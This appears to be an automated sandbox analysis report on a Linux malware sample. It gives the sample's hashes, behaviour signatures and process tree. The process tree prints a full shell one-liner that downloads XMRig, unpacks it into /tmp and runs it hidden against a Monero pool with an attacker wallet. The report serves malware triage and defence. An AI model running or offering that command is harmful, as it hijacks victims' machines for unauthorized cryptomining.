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Analysis

  • max time kernel
    58s
  • max time network
    133s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    06/03/2024, 12:31

General

  • Target

    SecuriteInfo.com.Possible_SMMODUPXA.16390.11100.elf

  • Size

    28KB

  • MD5

    81959aa15f618e7f878587c3fbee558f

  • SHA1

    63f4ff2f4e073f771f3360a97a91d83cb7f397a7

  • SHA256

    884107422df524c5d7584f267910c4d738fa09187a6f835374038ed27c2a4fc8

  • SHA512

    1cb22d5f938921717cc8ed77bb9fc3250a85e7256ae26c7503e2890d434e9bf4b559708f32cab301b482825c8ca86ce5b60b3b9b45700334537d5f12c9cc64b0

  • SSDEEP

    768:Z0TF6I/0OdgyoCJSqeYCU7hWdj8qFCT5FL9GI0:ZwH8O67CCg7YdAMCTe

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Changes its process name 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/SecuriteInfo.com.Possible_SMMODUPXA.16390.11100.elf
    /tmp/SecuriteInfo.com.Possible_SMMODUPXA.16390.11100.elf
    1⤵
    • Changes its process name
    • Reads runtime system information
    PID:1466
  • /bin/sh
    sh -c "wget https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-x64.tar.gz && tar -xzf xmrig-6.21.1-linux-x64.tar.gz && mv xmrig-6.21.1 /tmp/ && rm -rf xmrig-6.21.1-linux-x64.tar.gz && cd /tmp/xmrig-6.21.1 && chmod 777 * && ./xmrig --opencl --cuda -o xmr-eu1.nanopool.org:14433 -u 49WVNTHfo5c7zfYi3METsCPW93hLJFYNKBS5GZDxSbuZA1FNJULGvkkY5y7sDozjTTMgeT3JyqLfV38TGzqMPuiGJzeHmeZ --tls --coin monero --background"
    1⤵
      PID:1469
      • /usr/bin/wget
        wget https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-x64.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:1473
      • /usr/bin/tar
        tar -xzf xmrig-6.21.1-linux-x64.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1931
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:1932
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:1932
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:1932
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:1932
              • /usr/bin/mv
                2⤵
                • Reads runtime system information
                PID:1933

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • /tmp/xmrig-6.21.1-linux-x64.tar.gz

              Filesize

              660KB

              MD5

              9f4425baac2f1e5eada1e0023b99051c

              SHA1

              828def9efa7455a34c59566526e639eb5da011d3

              SHA256

              ffd2d2680728223015c76d0cd7c2fd7d960069412f5aa3ab70629a210205230a

              SHA512

              75611a7ec51475b1d5c8c524d376900997a3002b935a00a8e618b08bd91573f4ed9cfcffb91d2e795153a5d460302d5b963730f8ec3ac396d9872d70c11c89cc

            • /tmp/xmrig-6.21.1/SHA256SUMS

              Filesize

              150B

              MD5

              0eeaf66a6ba6b6934ffefce538342572

              SHA1

              8f28c8a7345c85b2ae78924828aa16e1b6be7b97

              SHA256

              aa89fb25473e544be6a5cbe6a6106e220fc6cd4b935fe76bc73a19b3b6daed60

              SHA512

              5a8e8a77e97f2b221bf1a9097a2f19a2c3c0ed376d7e2561a41c6d74203ddbe9d0482a818d17555da44088e511b3724dd41dd7cc91e3ebaadab9c176b1a7b57d

            • /tmp/xmrig-6.21.1/config.json

              Filesize

              2KB

              MD5

              66f38c96a4901e7b345787c447842b3e

              SHA1

              2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

              SHA256

              2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

              SHA512

              71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

            • /tmp/xmrig-6.21.1/xmrig

              Filesize

              7.4MB

              MD5

              5849c28ac8e6452e4f0fb6dec4cc133f

              SHA1

              997cf47e1b5b5751e5632c5555bcdc521616becb

              SHA256

              c39a9d5a2f6f04d285f0516d5b9f2f31fab96df2f41c21e440d19a55581ac244

              SHA512

              8379ea31373db2452a37c713df1ecbb3bc1396c58b6450960d624e95b89cf7954547fab3a747407ffd120b4e7b9751bb2cdb95891652240e356a6143f183d6d2